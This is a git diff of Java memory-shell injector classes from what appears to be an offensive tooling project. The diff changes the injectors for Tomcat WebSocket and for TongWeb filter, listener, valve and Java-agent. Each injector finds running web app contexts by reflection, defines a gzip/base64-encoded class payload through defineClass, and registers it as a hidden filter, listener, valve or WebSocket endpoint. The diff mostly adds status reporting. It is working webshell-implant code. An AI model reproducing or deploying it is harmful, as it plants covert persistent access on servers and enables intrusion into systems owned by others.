import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -18,17 +16,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatWebSocketInjector {
|
public class TomcatWebSocketInjector {
|
||||||
|
|
||||||
public TomcatWebSocketInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object obj = getShell(context);
|
|
||||||
inject(obj, context);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -42,9 +31,53 @@ public class TomcatWebSocketInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public TomcatWebSocketInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
@SuppressWarnings("all")
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -53,10 +86,16 @@ public class TomcatWebSocketInjector {
|
|||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -73,21 +112,23 @@ public class TomcatWebSocketInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
private void inject(Object obj, Object context) throws Exception {
|
private void inject(Object context, Object obj) throws Exception {
|
||||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
if (container == null) {
|
if (container == null) {
|
||||||
@@ -95,11 +136,10 @@ public class TomcatWebSocketInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (container == null) {
|
if (container == null) {
|
||||||
return;
|
throw new RuntimeException("container is null");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||||
System.out.println("websocket at " + getUrlPattern() + " already exists");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -121,7 +161,11 @@ public class TomcatWebSocketInjector {
|
|||||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||||
System.out.println("websocket at " + getUrlPattern() + " inject successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -197,7 +241,22 @@ public class TomcatWebSocketInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
|||||||
for (String targetClass : TARGET_CLASSES) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
if (targetClass.replace("/", ".").equals(name)) {
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at " + name + ".invoke");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
for (String targetClass : TARGET_CLASSES) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
if (targetClass.replace("/", ".").equals(name)) {
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at " + name + ".doFilter");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+83
-20
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -10,14 +11,15 @@ import java.util.Collection;
|
|||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class TongWebFilterInjector {
|
public class TongWebFilterInjector {
|
||||||
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -32,15 +34,48 @@ public class TongWebFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public TongWebFilterInjector() {
|
public TongWebFilterInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
Set<Object> contexts = getContext();
|
return;
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -52,7 +87,7 @@ public class TongWebFilterInjector {
|
|||||||
* /opt/tweb8/version8.0.6.2/tongweb-web.jar
|
* /opt/tweb8/version8.0.6.2/tongweb-web.jar
|
||||||
*/
|
*/
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -63,9 +98,16 @@ public class TongWebFilterInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}catch (Exception ignored) {
|
}catch (Exception ignored) {
|
||||||
|
|
||||||
@@ -86,21 +128,22 @@ public class TongWebFilterInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
logger.warning("filter already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
@@ -137,7 +180,11 @@ public class TongWebFilterInjector {
|
|||||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||||
filterConfigs.put(filterClassName, filterConfig);
|
filterConfigs.put(filterClassName, filterConfig);
|
||||||
logger.info("filter inject success");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -212,6 +259,22 @@ public class TongWebFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+85
-20
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TongWebListenerInjector {
|
public class TongWebListenerInjector {
|
||||||
|
|
||||||
public TongWebListenerInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
Set<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -33,8 +25,53 @@ public class TongWebListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public TongWebListenerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -44,9 +81,16 @@ public class TongWebListenerInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -64,15 +108,17 @@ public class TongWebListenerInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -81,7 +127,6 @@ public class TongWebListenerInjector {
|
|||||||
List listeners = Arrays.asList(objects);
|
List listeners = Arrays.asList(objects);
|
||||||
for (Object o : listeners) {
|
for (Object o : listeners) {
|
||||||
if (o.getClass().getName().contains(getClassName())) {
|
if (o.getClass().getName().contains(getClassName())) {
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -101,6 +146,11 @@ public class TongWebListenerInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -145,7 +195,7 @@ public class TongWebListenerInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -193,4 +243,19 @@ public class TongWebListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+90
-34
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TongWebValveInjector {
|
public class TongWebValveInjector {
|
||||||
|
|
||||||
public TongWebValveInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
Set<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -33,8 +25,53 @@ public class TongWebValveInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public TongWebValveInjector() {
|
||||||
